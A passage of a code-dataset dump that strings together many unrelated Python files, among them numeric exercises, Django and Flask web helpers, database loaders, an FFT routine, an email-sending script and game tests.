we are going to iterate through (this is going to be used to find n primes)\n\n\twhile (n > 0): # while we have not find n prime numbers\n\t\tif(isPrime(i)): # if the iterated number is prime\n\t\t\tproduct *= i # multiply it to the product\n\t\t\tn -= 1 # substract 1 from the number of primes to find\n\n\t\ti += 1 # add 1 to the number we are using to find primes\n\n\treturn product # return the product\n\n##### Testing #####\nprint(\"Test #1: 1\") # display test label\nprint(primorial(1)) # display test result\nprint(\"--------------------------------------------\\n\") # show a line to separate the tests\n\nprint(\"Test #2: 2\") # display test label\nprint(primorial(2)) # display test result\nprint(\"--------------------------------------------\\n\") # show a line to separate the tests\n\nprint(\"Test #3: 8\") # display test label\nprint(primorial(8)) # display test result","sub_path":"edabit/primorial.py","file_name":"primorial.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"610518420","text":"from django.core.management.base import BaseCommand\nfrom ...models import ApiKey\n\n\nclass Command(BaseCommand):\n \"\"\"Создаёт и отображает новый ApiKey.\"\"\"\n help = 'Creates and displays new Api Key'\n\n def add_arguments(self, parser):\n parser.add_argument('-app', nargs='?', type=str, help='app name for data distinction')\n\n def handle(self, *args, **options):\n app = options.get('app')\n if not app:\n self.stderr.write('Usage: -app ')\n return\n\n k = ApiKey(app=app)\n k.save()\n print(k.key)\n","sub_path":"rcalendar/management/commands/generate_api_key.py","file_name":"generate_api_key.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"377296687","text":"# Monte Carlo Method to count pi\nimport random # 也可以from random import random就可以直接写\nimport time # 也可以from time import perf_counter就可以直接写\nhits=0\ns=1000*1000\nstart=time.perf_counter() # 注意import了time库之后前面要有time\nfor i in range(s+1):\n x,y=random.random(),random.random() # import了random之后前面要有random\n dist=pow(x**2+y**2,0.5)\n if(dist<=1):\n hits=hits+1\nprint(hits/s*4)\n \nprint(time.perf_counter()-start)\n","sub_path":"Python-Learning/_Monte_get_Pi.py","file_name":"_Monte_get_Pi.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"261164142","text":"import cv2\r\nimport numpy as np\r\nimport pyrealsense as pyrs\r\n\r\nrect_start = (0, 0)\r\nrect_end = (0, 0)\r\narea_selected = False\r\nmouse_pressed = False\r\n\r\ndef on_mouse(event, x, y, flags, param):\r\n global color, depth, area_selected, rect_start, rect_end, mouse_pressed\r\n \r\n if event == cv2.EVENT_LBUTTONDOWN:\r\n mouse_pressed = True\r\n area_selected = False\r\n rect_start = (x, y)\r\n rect_end = (x, y)\r\n elif event == cv2.EVENT_MOUSEMOVE:\r\n if mouse_pressed:\r\n disp_color = color.copy()\r\n rect_end = (x, y)\r\n elif event == cv2.EVENT_LBUTTONUP:\r\n mouse_pressed = False\r\n rect_end = (x, y)\r\n if rect_end != rect_start:\r\n area_selected = True\r\n\r\n \r\ndef main():\r\n global color, depth, area_selected, rect_start, rect_end\r\n\r\n cv2.namedWindow('color')\r\n cv2.setMouseCallback('color', on_mouse)\r\n \r\n tracker_initialized = False\r\n with pyrs.Service() as serv:\r\n with serv.Device(0) as dev:\r\n while True:\r\n dev.wait_for_frames()\r\n color = cv2.cvtColor(dev.color, cv2.COLOR_RGB2BGR)\r\n dev.depth[dev.depth > 10000] = 10000\r\n depth = np.uint8(dev.depth / np.max(dev.depth) * 255) \r\n disp_color = color.copy()\r\n\r\n if area_selected:\r\n if not tracker_initialized:\r\n tracker = cv2.TrackerMedianFlow_create()\r\n bbox = [0] * 4\r\n if rect_start[0] > rect_end[0]:\r\n bbox[0] = rect_end[0]\r\n else:\r\n bbox[0] = rect_start[0]\r\n if rect_start[1] > rect_end[1]:\r\n bbox[1] = rect_end[1]\r\n else:\r\n bbox[1] = rect_start[1]\r\n bbox[2] = abs(rect_end[0] - rect_start[0])\r\n bbox[3] = abs(rect_end[1] - rect_start[1])\r\n tracker.init(color, tuple(bbox))\r\n tracker_initialized = True \r\n else:\r\n ret, bbox = tracker.update(color)\r\n \r\n p1 = (int(bbox[0]), int(bbox[1]))\r\n p2 = (int(bbox[0] + bbox[2]), int(bbox[1] + bbox[3]))\r\n cv2.rectangle(disp_color, p1, p2, (255,0,0), 2)\r\n #markers = np.ones(color.shape[:2], dtype=np.int32)\r\n #cv2.rectangle(markers, rect_start, rect_end, 0, -1)\r\n #markers[rect_end[1] - (rect_end[1] - rect_start[1])//2][rect_end[0] - (rect_end[0] - rect_start[0])//2] = 2\r\n \r\n #preproc_color = color.copy()\r\n #preproc_color = cv2.GaussianBlur(preproc_color, (33,33), 1)\r\n #cv2.imshow('preproc', preproc_color)\r\n #preproc_depth = cv2.cvtColor(depth, cv2.COLOR_GRAY2BGR)\r\n #preproc_depth = cv2.GaussianBlur(preproc_depth, (33, 33), 1)\r\n #cv2.watershed(preproc_depth, markers)\r\n \r\n #cv2.imshow('preproc_depth', preproc_depth) \r\n #mask = np.zeros(color.shape[:2], dtype=np.uint8)\r\n #mask[markers == 2] = 255\r\n #cv2.imshow(\"mask\", mask)\r\n #moments = cv2.moments(mask)\r\n #center = (int(moments[\"m10\"]/moments[\"m00\"]), int(moments[\"m01\"]/moments[\"m00\"]))\r\n \r\n #disp_color[markers == 2] = [0,0,255]\r\n #cv2.circle(disp_color, center, 3, (255, 0, 0), -1)\r\n elif mouse_pressed:\r\n cv2.rectangle(disp_color, rect_start, rect_end, (0,0,255), 1)\r\n tracker_initialized = False\r\n \r\n cv2.imshow('color', disp_color)\r\n cv2.imshow('depth', depth)\r\n \r\n if ord('q') == cv2.waitKey(1):\r\n break\r\n \r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"src/misc/tracker.py","file_name":"tracker.py","file_ext":"py","file_size_in_byte":4138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"41252945","text":"from sklearn import tree\nfrom scipy.spatial import distance\nfrom sklearn.datasets import load_iris\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\n\ndef euc(a,b):\n return distance.euclidean(a,b)\n\nclass KNN():\n def fit(self,TrainingData,TrainingTarget):\n self.TrainingData=TrainingData\n self.TrainingTarget=TrainingTarget\n \n def predict(self,TestData):\t#store closest distance of k value\n predictions=[]\n for row in TestData:\n lebel=self.closets(row)\n predictions.append(lebel)\n return predictions\n \n def closets(self,row):\n bestdistance=euc(row,self.TrainingData[0])\n bestindex=0\n for i in range(1,len(self.TrainingData)):\t#yamule k chi minimum value milel and tyatl distance\n dist=euc(row,self.TrainingData[i])\n if dist len( sys.argv ):\n\tsys.exit()\n\nid = int( sys.argv[1] )\ndatabase = sqlite3.connect( \"task1.database\" )\n\nquery = \"SELECT * FROM tbl_name WHERE id = {0};\".format( str(id) )\nres = database.execute( query )\n\nraw = res.next()\n\nfig = plt.figure()\nax = fig.add_subplot(111)\n\nyear = [ ]\nval = []\nfor i in range(1, len(raw) - 2):\n\tif 0 != raw[i]:\n\t\tyear.append( str(1959 + i) )\n\t\tval.append( raw[i] ) \n\n## necessary variables\nind = np.arange( len(year) ) # the x locations for the groups\nwidth = 0.35 # the width of the bars\n\n## the bars\nrects = ax.bar(ind, val, width,\n color='blue',)\n\n# axes and labels\nax.set_xlim(-width,len(ind)+width)\nax.set_ylabel('Count')\nax.set_title( raw[ -1 ] )\nxTickMarks = year\nax.set_xticks(ind+width)\nxtickNames = ax.set_xticklabels(xTickMarks)\nplt.setp(xtickNames, rotation=45, fontsize=10)\n\n## add a legend\nax.legend( (rects[0],), ('Count',) )\n\nplt.show()","sub_path":"task1/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"647633143","text":"import pandas as pd\r\nimport mysql.connector\r\n\r\ndbconn = mysql.connector.connect(\r\n host=\"localhost\",\r\n user=\"dbuser\",\r\n passwd=\"App@123\",\r\n database=\"disaster\"\r\n)\r\n\r\ncursor = dbconn.cursor()\r\n\r\n\r\nCSV = \"C:\\\\Users\\\\arnabnandy1\\\\Documents\\\\Python Projects\\\\DashPlotly\\\\DemoCode01\\\\deaths-natural-disasters.csv\"\r\ndata = pd.read_csv(CSV, header=0, delimiter=',')\r\ndataFrame = data.fillna(0)\r\n\r\nfor index, row in dataFrame.iterrows():\r\n Query = \"\"\"INSERT INTO disaster.deaths (\r\n CountryCode, \r\n CountryName, \r\n YEAR_2019, \r\n YEAR_2018, \r\n YEAR_2017, \r\n YEAR_2016, \r\n YEAR_2015, \r\n YEAR_2014, \r\n YEAR_2013, \r\n YEAR_2012, \r\n YEAR_2011, \r\n YEAR_2010) \r\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\"\r\n \r\n Values = (\r\n row['CountryCode'], \r\n row['CountryName'], \r\n row['2019'], \r\n row['2018'], \r\n row['2017'], \r\n row['2016'], \r\n row['2015'], \r\n row['2014'], \r\n row['2013'], \r\n row['2012'], \r\n row['2011'], \r\n row['2010']\r\n )\r\n \r\n \r\n print(Query, Values)\r\n cursor.execute(Query, Values)\r\n\r\n dbconn.commit()\r\n\r\n\r\n ","sub_path":"UpdateDatabase.py","file_name":"UpdateDatabase.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"93166362","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth import login as auth_login\nfrom django.contrib.auth import logout as auth_logout\nfrom django.contrib import messages\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.urls import reverse\nfrom .forms import CustomUserCreationForm\nfrom .models import User\n\n\ndef signup(request):\n if request.method == 'POST':\n form = CustomUserCreationForm(data=request.POST)\n if form.is_valid():\n form.save() # create user account\n messages.success(request, 'Account created. Log In below!')\n return redirect(reverse('authentication:login'))\n else:\n form = CustomUserCreationForm()\n return render(request, 'signup.html', {\n 'form': form,\n })\n\n\ndef login(request):\n if request.method == 'POST':\n form = AuthenticationForm(data=request.POST)\n if form.is_valid():\n user = authenticate(**form.clean())\n if user is not None:\n messages.success(request, 'Logged in successfully!')\n auth_login(request, user)\n return redirect(user.absolute_url)\n\n else:\n form = AuthenticationForm()\n\n return render(request, 'login.html', {\n 'form': form,\n })\n\n\ndef logout(request):\n auth_logout(request)\n messages.info(request, 'Logged out!')\n return redirect(reverse('core:index'))\n","sub_path":"authentication/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"257995191","text":"\"\"\" OrderPortal: Initialize the order database, directly towards CouchDB.\nThe database must exist, and the account for accessing it must have been set up.\n1) Load the design documents.\n2) Load the dump file, if given.\n3) Load the initial texts from file, unless already loaded.\n\"\"\"\n\nfrom __future__ import print_function, absolute_import\n\nimport sys\n\nimport couchdb\nimport yaml\n\nfrom orderportal import admin\nfrom orderportal import constants\nfrom orderportal import designs\nfrom orderportal import settings\nfrom orderportal import utils\nfrom orderportal.dump import undump\n\nINIT_TEXTS_FILEPATH = utils.expand_filepath('{ROOT_DIR}/init_texts.yaml')\n\ndef init_database(dumpfilepath=None):\n db = utils.get_db()\n try:\n db['order']\n except couchdb.ResourceNotFound:\n pass\n else:\n sys.exit('Error: database is not empty')\n utils.initialize(db)\n # No specific items set here; done on-the-fly in e.g. get_next_number\n db.save(dict(_id='order',\n orderportal_doctype=constants.META))\n print('created meta documents')\n if dumpfilepath:\n try:\n print('reading dump file...')\n undump(db, dumpfilepath)\n designs.regenerate_views_indexes(db)\n except IOError:\n print('Warning: could not load', dumpfilepath)\n else:\n print('no dump file loaded')\n # Load texts from the initial texts YAML file. Only if missing in db!\n print('loading any missing texts from', INIT_TEXTS_FILEPATH)\n try:\n with open(INIT_TEXTS_FILEPATH) as infile:\n texts = yaml.safe_load(infile)\n except IOError:\n print('Warning: could not load', INIT_TEXTS_FILEPATH)\n texts = dict()\n for name in constants.TEXTS:\n if len(list(db.view('text/name', key=name))) == 0:\n with admin.TextSaver(db=db) as saver:\n saver['name'] = name\n saver['text'] = texts.get(name, '')\n\n\nif __name__ == '__main__':\n parser = utils.get_command_line_parser(\n description='Initialize the database, optionally load from dump file.')\n parser.add_option(\"-L\", \"--load\",\n action='store', dest='FILE', default=None,\n metavar=\"FILE\", help=\"filepath of dump file to load\")\n (options, args) = parser.parse_args()\n utils.load_settings(filepath=options.settings)\n init_database(dumpfilepath=options.FILE)\n","sub_path":"orderportal/init_database.py","file_name":"init_database.py","file_ext":"py","file_size_in_byte":2408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"326123282","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Aug 18 15:35:34 2021\r\n\r\n@author: matia\r\n\"\"\"\r\n\r\n\r\nfrom scipy import matmul, rand \r\nfrom time import perf_counter \r\n\r\nimport matplotlib.pylab as plt \r\n\r\n\r\nListNs=[]\r\nListdt=[]\r\nListDts=[]\r\nListM=[]\r\nListUsoMemoria=[]\r\nfid = open(\"caso12.txt\",\"r\")\r\nn=0\r\nfor line in fid:\r\n n+=1\r\n \r\n ListNs1=[]\r\n\r\n sl = line.split()\r\n \r\n N = int(sl[0])\r\n dt = float(sl[1])\r\n men= int(sl[2])\r\n \r\n Listdt.append(dt)\r\n ListM.append(men)\r\n \r\n if n==10:\r\n \r\n ListDts.append(Listdt)\r\n ListUsoMemoria.append(ListM)\r\n n=0\r\n Listdt=[]\r\n ListM=[]\r\n \r\n \r\n \r\n \r\n \r\nfid.close() \r\n\r\nimport matplotlib.pylab as plt \r\ny=ListDts\r\n\r\nx=[10,20,50,100,200,500,1000,2000,5000,10000]\r\n\r\nlabels_x = [\"10\",\"20\",\"50\",\"100\",\"200\",\"500\",\"1000\",\"2000\",\"5000\",\"10000\"]\r\nNs = [10,20,50,100,200,500,1000,2000,5000,10000]\r\n\r\nlabels_y = [\"0.1 ms\",\"1 ms\",\"10 ms\",\"0.1 s\",\"1 s\",\"10 s\",\"1 min\",\"10 min\"]\r\ndts = [10**(-4),10**(-3),10**(-2),10**(-1),10**(0),10,60,600]\r\n\r\nlabels_y2 =[\"1 KB\",\"10 KB\",\"100 KB\",\"1 MB\",\"10 MB\",\"100 MB\",\"1 GB\",\"12 GB\"]\r\nmems1 = [10**(3),10**(4),10**(5),10**(6),10**(7),10**(8),10**(9),12**(10)]\r\n\r\n\r\n\r\n\r\n#grafico uso de memoria \r\nplt.figure(1)\r\n\r\nplt.subplot(2,1,1)\r\nplt.title(\"Rendimiento A@B\")\r\nplt.loglog(x,y[0],marker=\"o\")\r\nplt.loglog(x,y[1],marker=\"o\")\r\nplt.loglog(x,y[2],marker=\"o\")\r\nplt.loglog(x,y[3],marker=\"o\")\r\nplt.loglog(x,y[4],marker=\"o\")\r\nplt.loglog(x,y[5],marker=\"o\")\r\nplt.loglog(x,y[6],marker=\"o\")\r\nplt.loglog(x,y[7],marker=\"o\")\r\nplt.loglog(x,y[8],marker=\"o\")\r\nplt.loglog(x,y[9],marker=\"o\")\r\n\r\n\r\n\r\n\r\nplt.xticks(Ns,labels_x)\r\nplt.yticks(dts,labels_y)\r\nplt.grid(True)\r\nplt.xticks(visible=False)\r\nplt.ylabel(\"Tiempo transcurrido (S)\")\r\n\r\n\r\nplt.subplot(2,1,2)\r\nplt.loglog(x,ListUsoMemoria[0],marker=\"o\")\r\nplt.xticks(Ns,labels_x)\r\nplt.yticks(mems1,labels_y2)\r\nplt.grid(True)\r\nplt.xticks(visible=True)\r\nplt.xlabel(\"Tamaño matriz N\")\r\nplt.ylabel(\"Uso memoria (S)\")\r\n\r\nplt.show()","sub_path":"Entrega3/ProcedimientoScipy.linalg(overwrite_a=True)/timing_inv_caso_scipy.linalg_double.py","file_name":"timing_inv_caso_scipy.linalg_double.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"276989883","text":"from hotel.models import Booking, Room\n\n\ndef book_room(request, room, check_in, check_out):\n # Makes a Booking object and saves it\n booking = Booking.objects.create(\n user=request.user,\n room=room,\n check_in=check_in,\n check_out=check_out\n )\n booking.save()\n\n return booking\n","sub_path":"hotels/booking_functions/book_room.py","file_name":"book_room.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"61535307","text":"global base\r\n\r\n#reuired base\r\n\r\nbase=10\r\nprint(\"base : \",base)\r\n\r\n#max no. of digits in a polynomial\r\nlimit=300\r\n\r\n#total number of points where testing needs to be done\r\nrequired_point=20\r\n#------------code----------\r\n\r\nfrom cmath import exp\r\nfrom math import pi\r\nfrom pdb import set_trace as breakpoint\r\nimport time\r\nimport matplotlib.pyplot as plt\r\n\r\n#to get the polynomial condition 2n<=2^n\r\ndef isPowerOfTwo(n):\r\n return n>0 and (n&(n-1))==0\r\n\r\n# FFT using Cooley-Tukey, a divide and conquer algorithm running in O(n log(n)) time implemented reqursively, \r\n# NOTE that Cooley-Tukey requires n to be a power of two\r\ndef FFT(A):\r\n n = len(A)\r\n if n==1:\r\n return A\r\n\r\n assert(isPowerOfTwo(n))\r\n\r\n even = FFT(A[::2])\r\n odd = FFT(A[1::2])\r\n\r\n # Numerically stable way of \"twiddling\"\r\n return [even[k] + exp(-2*pi*k/n*1j)*odd[k] for k in range(n//2)] +\\\r\n [even[k] - exp(-2*pi*k/n*1j)*odd[k] for k in range(n//2)]\r\n\r\n# Inverse FFT\r\ndef iFFT(A):\r\n n = len(A)\r\n A = FFT([a.conjugate() for a in A])\r\n return [a.conjugate()/n for a in A]\r\n\r\n# Circular convolution in O(nlog(n)) time\r\ndef circ_conv(A,B):\r\n assert(len(A)==len(B))\r\n n = len(A)\r\n A = FFT(A)\r\n B = FFT(B)\r\n C = [0]*(n)\r\n for i in range(n):\r\n C[i]=A[i]*B[i]\r\n return iFFT(C)\r\n\r\n# Polynomial multiplication in O((n+m)log(n+m)) time\r\ndef conv(A,B):\r\n n = len(A)\r\n m = len(B)\r\n N = 1\r\n while N [Paddding]\n #class_label = ['所需检查', '推荐用药', '疾病症状', '治疗方式']\n class_label = ['丈夫', '上映时间', '专业代码', '主持人', '主演', '主角', '人口数量', '作曲', '作者', '作词', '修业年限', '出品公司', '出版社', '出生地', '出生日期','创始人', '制片人', '占地面积', '号', '嘉宾', '国籍', '妻子', '字', '官方语言', '导演', '总部地点', '成立日期', '所在城市', '所属专辑', '改编自', '朝代', '歌手', '母亲', '毕业院校', '民族', '气候', '注册资本', '海拔', '父亲', '目', '祖籍', '简称', '编剧', '董事长', '身高', '连载网站','邮政编码', '面积', '首都']\n schema = {\n '父亲': [('人物', '人物')],\n '妻子': [('人物', '人物')],\n '母亲': [('人物', '人物')],\n '丈夫': [('人物', '人物')],\n '祖籍': [('地点', '人物')],\n '总部地点': [('地点', '企业')],\n '出生地': [('地点', '人物')],\n '目': [('目', '生物')],\n '面积': [('Number', '行政区')],\n '简称': [('Text', '机构')],\n '上映时间': [('Date', '影视作品')],\n '所属专辑': [('音乐专辑', '歌曲')],\n '注册资本': [('Number', '企业')],\n '首都': [('城市', '国家')],\n '导演': [('人物', '影视作品')],\n '字': [('Text', '历史人物')],\n '身高': [('Number', '人物')],\n '出品公司': [('企业', '影视作品')],\n '修业年限': [('Number', '学科专业')],\n '出生日期': [('Date', '人物')],\n '制片人': [('人物', '影视作品')],\n '编剧': [('人物', '影视作品')],\n '国籍': [('国家', '人物')],\n '海拔': [('Number', '地点')],\n '连载网站': [('网站', '网络小说')],\n '朝代': [('Text', '历史人物')],\n '民族': [('Text', '人物')],\n '号': [('Text', '历史人物')],\n '出版社': [('出版社', '书籍')],\n '主持人': [('人物', '电视综艺')],\n '专业代码': [('Text', '学科专业')],\n '歌手': [('人物', '歌曲')],\n '作词': [('人物', '歌曲')],\n '主角': [('人物', '网络小说')],\n '董事长': [('人物', '企业')],\n '成立日期': [('Date', '机构'), ('Date', '企业')],\n '毕业院校': [('学校', '人物')],\n '占地面积': [('Number', '机构')],\n '官方语言': [('语言', '国家')],\n '邮政编码': [('Text', '行政区')],\n '人口数量': [('Number', '行政区')],\n '所在城市': [('城市', '景点')],\n '作者': [('人物', '图书作品')],\n '作曲': [('人物', '歌曲')],\n '气候': [('气候', '行政区')],\n '嘉宾': [('人物', '电视综艺')],\n '主演': [('人物', '影视作品')],\n '改编自': [('作品', '影视作品')],\n '创始人': [('人物', '企业')]}\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"484008404","text":"import logging\nimport random\nimport sys\nfrom functools import wraps\n\nimport numpy\nfrom flask import g, session, request\nfrom itsdangerous import URLSafeTimedSerializer\n\nimport config\n\nLOG = logging.getLogger(config.LOG_BASE_NAME + '.' + __name__)\n\ndef form_token_protected(token_failure_callback=None):\n\n def protect_this(wrapped_f):\n def form_key():\n def key():\n return numpy.base_repr(random.randint(3330, sys.maxsize), 36)\n return key() + key() + key() + key()\n\n def new_token():\n g.current_form_token = form_key()\n LOG.debug(\"new token: %s\", g.current_form_token)\n user_form_tokens = session.get('form_tokens', [])\n if len(user_form_tokens) > 20:\n del user_form_tokens[0:10]\n user_form_tokens.append(g.current_form_token)\n session['form_tokens'] = user_form_tokens\n\n @wraps(wrapped_f)\n def protection(*args, **kwargs):\n if request.method == \"POST\":\n g.form_token_filtered = False\n user_form_tokens = session.get('form_tokens', [])\n submitted_token = request.form.get(config.FORM_TOKEN_NAME, '')\n if submitted_token in user_form_tokens:\n user_form_tokens.remove(submitted_token)\n new_token()\n else:\n LOG.info(\"Token failure: %s in %s. Submission: %s\", submitted_token, user_form_tokens, request.form)\n # If no token then the entity \"was empty\"\n g.form_token_filtered = True\n new_token()\n if token_failure_callback != None:\n return token_failure_callback()\n request.form = dict()\n elif request.method == \"GET\":\n new_token()\n\n elif request.method == \"VALIDATE\":\n # To be used by javascript's XMLHTTPRequest or even a client's own development\n user_form_tokens = session.get('form_tokens', [])\n submitted_token = request.args.get(config.FORM_TOKEN_NAME, '')\n if submitted_token in user_form_tokens:\n return \"OK\", \"200 OK\"\n return \"INVALID TOKEN\", \"400 INVALID TOKEN\"\n\n return wrapped_f(*args, **kwargs)\n return protection\n return protect_this\n\n\ntext_signer = URLSafeTimedSerializer(config.FLASK_LOGIN_SECRET_KEY)\n","sub_path":"shared/http_security.py","file_name":"http_security.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"654190217","text":"# Python code to illustrate Sending mail with attachments\r\n# from your Gmail account\r\n\r\n# libraries to be imported\r\nimport csv\r\nimport pandas as pd\r\nimport smtplib\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.base import MIMEBase\r\nfrom email import encoders\r\ndata = pd.read_csv(\"sopnil exel.csv\")\r\n\r\nEmail_id = data['Email Address'].tolist()\r\nName = data['Name'].tolist()\r\nscore = data[\"Photo\"]\r\n\r\n\r\n\r\n\r\n\r\nfor em, nam, pic in zip(Email_id, Name, score):\r\n\r\n fromaddr = \"sender email\"\r\n toaddr = em\r\n\r\n# instance of MIMEMultipart\r\n msg = MIMEMultipart()\r\n\r\n# storing the senders email address\r\n msg['From'] = fromaddr\r\n\r\n# storing the receivers email address\r\n msg['To'] = toaddr\r\n\r\n# storing the subject\r\n msg['Subject'] = \"Participation Certificate of Ready to Quiz?!\"\r\n\r\n# string to store the body of the mail\r\n body = \"Dear \" + str(nam) + \"\\n\\n\" + \"Thank you for participating in Ready to Quiz?! organized by Sopnil Bangladesh. Your presence helped to make this event a great success.\\n Here is your participation certificate- \"\r\n# attach the body with the msg instance\r\n msg.attach(MIMEText(body, 'plain'))\r\n\r\n# open the file to be sent\r\n filename = \"participation certificate.png\"\r\n attachment = open(pic, \"rb\")\r\n\r\n# instance of MIMEBase and named as p\r\n p = MIMEBase('application', 'octet-stream')\r\n\r\n# To change the payload into encoded form\r\n p.set_payload((attachment).read())\r\n\r\n# encode into base64\r\n encoders.encode_base64(p)\r\n\r\n p.add_header('Content-Disposition', \"attachment; filename= %s\" % filename)\r\n\r\n# attach the instance 'p' to instance 'msg'\r\n msg.attach(p)\r\n\r\n# creates SMTP session\r\n\r\n\r\n# start TLS for security\r\n\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n server.ehlo()\r\n server.starttls()\r\n server.login(fromaddr, 'password')\r\n text = msg.as_string()\r\n server.sendmail(fromaddr, toaddr, text)\r\n server.quit()\r\n\r\n","sub_path":"sopnilem.py","file_name":"sopnilem.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"650834123","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 03 15:59:52 2014\n\n@author: palmiteradmin\n\"\"\"\nimport MPNeuro.nlxio.csv_parsing as cp\nimport pdb\n\n# load spiketimes and event times for an experiment with a complete *.plx\ndef load_analyzed_exp(filename, bool_histogram = False):\n # filename is a string of the experiment number, format MPYYMMDDX ; .plx is added later\n \n verify_directory(filename)\n \n import MPNeuro.nlxio.load_plx as lp\n spike_times = lp.load_spike_times(filename)[0] # extra [0] for funky indexing\n \n import MPNeuro.nlxio.event_handling as eh\n laser_times = eh.load_nev()[0]\n \n binned_spikes = []\n if bool_histogram:\n #pdb.set_trace()\n import MPNeuro.analysis.hist_event_firingrate as hef\n reload(hef)\n binned_spikes = hef.hist_event_firingrate(spike_times, laser_times, plot=True)\n \n return dict(spike_times = spike_times, laser_times = laser_times, binned_spikes = binned_spikes)\n\ndef verify_directory(filestring):\n import os\n if os.path.isfile(filestring+'.plx'):\n return\n elif os.path.exists('E:/MP_Data/' + filestring):\n os.chdir('E:/MP_Data/' + filestring)\n elif os.path.exists('E:/MP_Data/Old_Data/' + filestring):\n os.chdir('E:/MP_Data/Old_Data/' + filestring)\n else:\n print('Cannot find data directory')\n \ndef load_feed_times(filestring):\n ''' filename is a string of the experiment number, format MPYYMMDDX\n .csv suffix is added in function '''\n verify_directory(filestring)\n \n full_filename = 'E:/MP_Data/' + filestring + '/' + filestring + ' feeding.csv'\n \n feed_times, water_times = cp.parse_feedtimes_csv(full_filename)\n return feed_times, water_times # times are in seconds","sub_path":"nlxio/helper_functions.py","file_name":"helper_functions.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"623968082","text":"import logging\n\n\ndef get_logger():\n \"\"\"\n This function used to configure logging.\n :return: It returns a logger. Using this logger we can put exceptions into log file.\n \"\"\"\n logger = logging.getLogger(__name__)\n logger.setLevel(logging.ERROR)\n # Set logging format\n formatter = logging.Formatter('%(asctime)s : %(name)s : ', datefmt='%m/%d/%Y %I:%M:%S %p')\n # Adding exception.log file\n file_handler = logging.FileHandler('exceptions.log')\n file_handler.setLevel(logging.ERROR)\n file_handler.setFormatter(formatter)\n logger.addHandler(file_handler)\n return logger\n","sub_path":"logging_config/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"653229340","text":"# -*- coding: utf-8 -*-\nimport unittest\nimport uuid\n\nimport pelita\nfrom pelita.simplesetup import SimpleClient, SimpleServer, SimplePublisher, SimpleSubscriber, bind_socket, extract_port_range\nfrom pelita.player import SimpleTeam, TestPlayer, AbstractPlayer\nfrom pelita.viewer import AsciiViewer, AbstractViewer\nfrom pelita.datamodel import Free\nfrom pelita.game_master import GameMaster\nfrom players import RandomPlayer\n\nimport zmq\n\nclass TestSimpleSetup(unittest.TestCase):\n def test_bind_socket(self):\n # check that we cannot bind to a stupid address\n address = \"ipc:///tmp/pelita-test-bind-socket-%s\" % uuid.uuid4()\n context = zmq.Context()\n socket = context.socket(zmq.PUB)\n bind_socket(socket, address)\n self.assertRaises(zmq.ZMQError, bind_socket, socket, \"bad-address\", '--publish')\n socket.close()\n\n def test_simple_game(self):\n layout = \"\"\"\n ##########\n # #\n #0 .. 1#\n ##########\n \"\"\"\n server = SimpleServer(layout_string=layout, rounds=5, players=2,\n bind_addrs=(\"ipc:///tmp/pelita-testplayer1-%s\" % uuid.uuid4(),\n \"ipc:///tmp/pelita-testplayer2-%s\" % uuid.uuid4()))\n\n for bind_address in server.bind_addresses:\n self.assertTrue(bind_address.startswith(\"ipc://\"))\n\n client1_address = server.bind_addresses[0]\n client2_address = server.bind_addresses[1]\n\n client1 = SimpleClient(SimpleTeam(\"team1\", RandomPlayer()), address=client1_address)\n client2 = SimpleClient(SimpleTeam(\"team2\", RandomPlayer()), address=client2_address)\n\n client1.autoplay_process()\n client2.autoplay_process()\n server.run()\n server.shutdown()\n\n def test_simple_remote_game(self):\n layout = \"\"\"\n ##########\n # #\n #0 .. 1#\n ##########\n \"\"\"\n server = SimpleServer(layout_string=layout, rounds=5, players=2)\n\n for bind_address in server.bind_addresses:\n self.assertTrue(bind_address.startswith(\"tcp://\"))\n\n client1_address = server.bind_addresses[0].replace(\"*\", \"localhost\")\n client2_address = server.bind_addresses[1].replace(\"*\", \"localhost\")\n\n client1 = 